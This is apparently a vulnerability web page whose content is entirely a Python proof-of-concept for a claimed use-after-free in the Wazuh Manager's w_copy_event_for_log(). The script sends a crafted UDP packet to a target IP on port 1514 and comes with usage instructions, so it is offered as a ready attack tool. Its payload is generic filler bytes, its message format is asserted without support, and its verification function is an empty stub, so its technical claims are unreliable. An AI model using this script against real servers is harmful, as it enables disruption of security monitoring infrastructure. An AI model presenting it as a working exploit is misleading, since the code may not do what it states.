CVE-2025-62788 Wazuh w_copy_event_for_log() Use-After-Free高危漏洞

#!/usr/bin/env python3 # CVE-2025-62788 PoC - Wazuh Use-After-Free in w_copy_event_for_log() # This PoC demonstrates the vulnerability by crafting a malicious agent message # that triggers the use-after-free condition in Wazuh Manager import socket import struct import hashlib def craft_malicious_message(): """ Craft a malicious Wazuh agent message to trigger UAF in w_copy_event_for_log() The vulnerability exists because w_copy_event_for_log() references memory that was initially allocated in OS_CleanMSG() but gets freed before use. """ # Wazuh message header format msg_size = 1024 msg_type = 1 # agent message type # Craft message that triggers the UAF condition # The message needs specific format to cause memory to be freed # before w_copy_event_for_log() accesses it malicious_payload = b'A' * 512 # Padding malicious_payload += b'\x00' * 256 # Null bytes to trigger cleanup malicious_payload += b'\xff\xfe' * 128 # Specific pattern # Message structure: size + type + payload message = struct.pack('<I', msg_size) message += struct.pack('<I', msg_type) message += malicious_payload return message def send_malicious_message(manager_ip, manager_port=1514): """ Send the malicious message to Wazuh Manager Args: manager_ip: IP address of Wazuh Manager manager_port: Port number (default 1514 for agent communication) """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Craft and send the malicious message payload = craft_malicious_message() print(f"[*] Sending malicious message to {manager_ip}:{manager_port}") sock.sendto(payload, (manager_ip, manager_port)) print("[+] Malicious message sent successfully") print("[*] The message is designed to trigger use-after-free in w_copy_event_for_log()") print("[*] If vulnerable, this may cause memory corruption or integrity compromise") sock.close() except Exception as e: print(f"[-] Error sending message: {e}") def verify_vulnerability(manager_ip): """ Verify if the target is vulnerable to CVE-2025-62788 """ print(f"[*] Checking if {manager_ip} is vulnerable...") # In a real scenario, you would check the Wazuh version # Vulnerable versions: < 4.11.0 # Fixed version: 4.11.0 pass if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-62788-poc.py <manager_ip> [port]") print("Example: python3 cve-2025-62788-poc.py 192.168.1.100 1514") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 1514 print("=" * 60) print("CVE-2025-62788 PoC - Wazuh Use-After-Free Vulnerability") print("=" * 60) send_malicious_message(target_ip, target_port)